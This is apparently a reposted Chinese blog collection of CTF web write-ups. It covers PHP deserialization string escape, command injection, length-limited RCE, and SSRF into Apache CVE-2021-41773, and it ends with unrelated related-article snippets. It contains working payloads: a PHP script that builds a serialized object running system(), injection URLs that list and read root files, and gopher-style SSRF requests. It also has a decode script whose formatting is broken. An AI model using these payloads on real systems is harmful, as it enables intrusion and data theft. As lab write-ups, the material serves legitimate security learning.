NSSCTF第14页(2)

[UUCTF 2022 新生赛]ezpop

提示说看看反序列化字符串逃逸

PHP反序列化字符串逃逸_php反序列化逃逸-CSDN博客

php反序列化字符逃逸_php反序列化逃逸_Leekos的博客-CSDN博客

buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_extract($_post); foreach($_post as $var){ if(preg__葫芦娃42的博客-CSDN博客 

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

2022UUCTF-web_[uuctf 2022 新生赛]phonecode-CSDN博客

data参数可控,然后post会传入data之后,$data会new一个UUCTF类的实例对象,替换掉hacker为loveuu!,再进行反序列化

先正常传入data=jack,则$data应该为:

O:5:"UUCTF":4:{s:4:"name";s:4:"jack";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

其中标红的是我们可控的参数

开始代码审计,在youwant类我们可以通过rce方法,实现命令执行,以此读flag,

现在找链子:

UUCTF:: nothing::__destruct() -> output::__toString() -> youwant::rce

流程即:我们通过传入的data参数,构造把后面的逃逸掉,构造新的序列化串

O:5:"UUCTF":4:{s:4:"name";s:4:"构造的";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

 

<?php
error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));

    传入data数据,用data数据初始化一个UUCTF类,然后将hacker替换成loveuu后进行反序列化,可以看到youwant类可以进行命令执行,所以整条Pop链:youwant_rce()->ouput_toString()->nothing_destruct()->UUCTF_wakeup(),入口为UUCTF的__wakeup函数,要将basedata的数据替换成Pop链的base64编码才能触发Pop链,现在可以控制的只有构造函数即name的数据。

    正常的传入data序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“aiwin”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
    现在也就是说要把 ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}给顶出去,首先构造Pop链。

<?php
error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));

    构造出了basedata,整条序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“UUCTF” ;s:3:“key”;s:5:“UUCTF”;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}

    “;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}一共236个字符,每有一个hacker替换,就会多吃一个字符,所以236个hacker刚好吃完,”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}读取不到,完成了逃逸。

完整payload:

<?php
error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
echo strlen($basedata);
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
    $hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
#O:5:"UUCTF":4:{s:4:"name";s:5:"aiwin";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
?>

<?php
class output{
    public $a;
    function __construct(){
        $this->a=new youwant();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __construct(){
        $this->a=&$this->b;
        $this->b='xx';
        $this->t=new output();
    }
}
class youwant{
    public $cmd;
    function __construct()
    {
        $this->cmd="system('cat flag.php');";
    }
}

$basedata = (base64_encode(serialize(new nothing())));
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
    $hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
?>

看源码得到flag

[NSSRound#13 Basic]ez_factors

首页给了一个超链接

发现把114514分解了质因数

提示了flag在根目录,我们尝试直接读取 

发现被过滤了

发现斜杠应该是被过滤了,不然应该跟空格一样 

 发现只能读出来数字,那么可以使用od命令,把它转换成八进制

Linux 命令(2)—— od 命令_od命令-CSDN博客

od %2fflag

脚本

dump = "0000000 051516 041523 043124 063173 031061 060546 032144 026463 0000020 032067 061060 032055 031062 026462 061070 033545 062455 0000040 033063 031466 062067 030144 060545 076470 000012 0000055"
octs = [("0o" + n) for n in  dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:if (len(hex(n)) > 4):swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())

 当然也可以转10进制去解码

[SWPUCTF 2023 秋季新生赛]Pingpingping

注意这里涉及到一个非法传参的问题,在PHP官方文档中有解释当变量名中出现空格时将被转换为下划线。及 Ping_ip.exe 在被解析的时候就会变成 Ping_ip_exe 

参考资料

 谈一谈PHP中关于非法参数名传参问题_php 非法传参名-CSDN博客

所以payload:

?Ping[ip.exe=127.0.0.1;ls / 

?Ping[ip.exe=127.0.0.1;tac /f*

 

[UUCTF 2022 新生赛]ezrce 

 限制了输入的字符最多为六个并且无回显,常规思路就是将命令执行结果写入文件,这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令

ls />a

发现flag文件

 

但是后边用这种方法就行不通了,因为他限制了长度,

后面我利用大佬的方法来做,成功得到flag,第一次见这种

>nl

执行后,会创建名为 nl 的文件
* /*>d

意思就是 nl /*>f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数 即 nl /*>d

 [NSSCTF 2nd]MyBox

进去是一片空白

利用file协议读取一下

非预期,得到flag,之前写过这个/proc的用法

linux - 将/proc/1/environ 转换为变量脚本 环境: 旧版本的 systemd 在容器中运行

预期解法

NSSCTF 2nd WEB-CSDN博客

读取?url=file:///start.sh

看到源码路径,读取源码

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__) @ app.route('/')
def index(): if
not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'): with
open(url[7:], 'r') as f:
return f.read() elif url.startswith('http://localhost/'):
return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18:].split('/_',                                                                                                      maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1: data = s.recv(1024)
if data:res += data else:break
return res
return ''
app.run('0.0.0.0', 827)

这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。

    如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
    如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
    如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
    如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。

发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,

得把字符串gopher://换成mybox://。

    elif url.startswith('mybox://127.0.0.1:'):port, content = url[18:].split('/_', maxsplit=1)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

先用gopher://协议发个请求包看看,请求一下不存在的PHP文件,搜集一下信息 

gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

把gopher换成mybox

mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

在进行一次url编码

mybox%3A%2F%2F127.0.0.1%3A80%2F_GET%2520%2Fxxx.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

 抓包,一直发包到404为止

可以看见这里Apache的版本是2.4.49,这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773)

我们用gopher://协议打CVE-2021-41773,POST发包,执行命令反弹shell。 

参考资料看其中的week5[Unsafe Apache]

NewStarCTF 2022 web方向题解 wp_Jay 17的博客-CSDN博客 

这里用的是大佬的图,一直反弹不上去

 

 反弹shell得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/186591.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

码云配置遇到秘钥不正确

你这个就是秘钥没有和git绑定&#xff0c; 需要 git config --global user.name "你的用户名随便写" git config --global user.email "你的邮箱"

DCAMnet网络复现与讲解

距论文阅读完毕已经过了整整一周多。。。终于抽出时间来写这篇辣&#xff01;~ 论文阅读笔记放这里&#xff1a; 基于可变形卷积和注意力机制的带钢表面缺陷快速检测网络DCAM-Net&#xff08;论文阅读笔记&#xff09;-CSDN博客 为了方便观看&#xff0c;我把结构图也拿过来了。…

软考:2024年软考高级:软件工程

软考&#xff1a;2024年软考高级: 提示&#xff1a;系列被面试官问的问题&#xff0c;我自己当时不会&#xff0c;所以下来自己复盘一下&#xff0c;认真学习和总结&#xff0c;以应对未来更多的可能性 关于互联网大厂的笔试面试&#xff0c;都是需要细心准备的 &#xff08;1…

2023 年 IntelliJ IDEA下载、安装教程,附详细图文

大家好&#xff0c;今天为大家带来的是 2023年 IntelliJ IDEA 下载、安装教程&#xff0c;超详细的图文教程&#xff0c;亲测可用。 文章目录 1 IDEA 下载2 IDEA 安装3 IDEA 使用4 快捷键新手必须掌握&#xff1a;Ctrl&#xff1a;Alt&#xff1a;Shift&#xff1a;Ctrl Alt&a…

机械臂仿真之vrep如添加视觉传感器

基于视觉的机械臂作业任务&#xff0c;如何在vrep中加入视觉传感器&#xff0c;并获取画面&#xff1f;

认证鉴权方案

现在一般使用比较多的认证方式有四种: SessionTokenSSO单点登录OAtuth登录1.Cookie + Session 最常见的就是 Cookie + Session 认证。 Session,是一种有状态的会话管理机制,其目的就是为了解决HTTP无状态请求带来的问题。 当用户登录认证请求通过时,服务端会将用户的信息存…

【排序,直接插入排序 折半插入排序 希尔插入排序】

文章目录 排序排序方法的分类插入排序直接插入排序折半插入排序希尔插入排序 排序 将一组杂乱无章的数据按照一定规律排列起来。将无序序列排成一个有序序列。 排序方法的分类 储存介质&#xff1a; 内部排序&#xff1a;数据量不大&#xff0c;数据在内存&#xff0c;无需…

JeecgBoot低代码开发—Vue3版前端入门教程

JeecgBoot低代码开发—Vue3版前端入门教程 后端接口配置VUE3 必备知识1.vue3新特性a. https://v3.cn.vuejs.org/b.setup的用法c.ref 和 reactive 的用法d.新版 v-model 的用法e.script setup的用法 2.TypeScript基础 后端接口配置 如何修改后台项目路径 http://127.168.3.52:8…

【brpc学习实践】ParallelChannel的使用与并行请求

概览 ParallelChannel (有时被称为“pchan”)同时访问其包含的sub channel,并合并它们的结果。用户可通过CallMapper修改请求,通过ResponseMerger合并结果。ParallelChannel看起来就像是一个Channel: 支持同步和异步访问。 发起异步操作后可以立刻删除。 可以取消。 支持超…

ELFK集群部署(Filebeat+ELK) 本地收集nginx日志 远程收集多个日志

filebeat是一款轻量级的日志收集工具&#xff0c;可以在非JAVA环境下运行。 因此&#xff0c;filebeat常被用在非JAVAf的服务器上用于替代Logstash&#xff0c;收集日志信息。 实际上&#xff0c;Filebeat几乎可以起到与Logstash相同的作用&#xff0c; 可以将数据转发到Logst…

【产品功能】dolphinscheduler怎么修改,实现超时就结束掉当前工作流

超时就结束工作流 代码 代码 MasterExecThread类 的 runProcess方法 里面有超时告警&#xff0c;原本里面只有超时告警的&#xff0c;这时候我只要加上海豚自己写好的结束任务的方法endProcess&#xff08;&#xff09;方法

pycharm编译报错处理

1.c生成工具下载 https://visualstudio.microsoft.com/visual-cpp-build-tools/ 在这里插入图片描述 pip install pycocotools

遭到美国做空机构“灰熊”做空后,人工智能公司商汤科技股价暴跌

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 猛兽财经获悉&#xff0c;在遭到美国做空机构Grizzly Research&#xff08;灰熊&#xff09;指控夸大收入后&#xff0c;商汤科技的股价在周二一度下跌了9.7%。 Grizzly Research在周二发布的一份报告中称&#xff0c;商汤…

基于java的职工便利系统【大学期末结课作业】

需求分析 背景和目标 基于现在的各类企业的职工在企业日常工作及生活中所需要的各类需求&#xff0c;通过使用Java语言开发一个职工便利系统&#xff0c;以方便职工完成公司内的日常事务&#xff0c;提高工作效率。 设计目的: 设计职工便利系统的主要目的是为了提升职工的工作…

FFmpeg之将视频转为16:9(横屏)或9:16(竖屏)(一)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

全文检索[ES系列] - 第495篇

历史文章&#xff08;文章累计490&#xff09; 《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 M…

知识蒸馏代码实现(以MNIST手写数字体为例,自定义MLP网络做为教师和学生网络)

dataloader_tools.py import torchvision from torchvision import transforms from torch.utils.data import DataLoaderdef load_data():# 载入MNIST训练集train_dataset torchvision.datasets.MNIST(root "../datasets/",trainTrue,transformtransforms.ToTens…

QT Day01 qt概述,创建项目,窗口属性,按钮,信号与槽

1.qt概述 1.什么是qt Qt 是一个跨平台的 C 图形用户界面应用程序框架。它为应用程序开发者提供建立艺 术级图形界面所需的所有功能。它是完全面向对象的&#xff0c;很容易扩展&#xff0c;并且允许真正的组 件编程。 2.支持的平台 Windows – XP 、 Vista 、 Win7 、 Win8…

Java(119):ExcelUtil工具类(org.apache.poi读取和写入Excel)

ExcelUtil工具类(XSSFWorkbook读取和写入Excel),入参和出参都是:List<Map<String,Object>> 一、读取Excel testdata.xlsx 1、new XSSFWorkbook对象 File file = new File(filePath); FileInputStream fis = new FileInputStream(file);…

8.二维数组——将一个二维数组行和列的元素互换,存到另一个二维数组中。

文章目录 前言一、题目描述 二、题目分析 三、解题 程序运行代码 前言 本系列为二维数组编程题&#xff0c;点滴成长&#xff0c;一起逆袭。 一、题目描述 将一个二维数组行和列的元素互换&#xff0c;存到另一个二维数组中。 二、题目分析 三、解题 程序运行代码 #incl…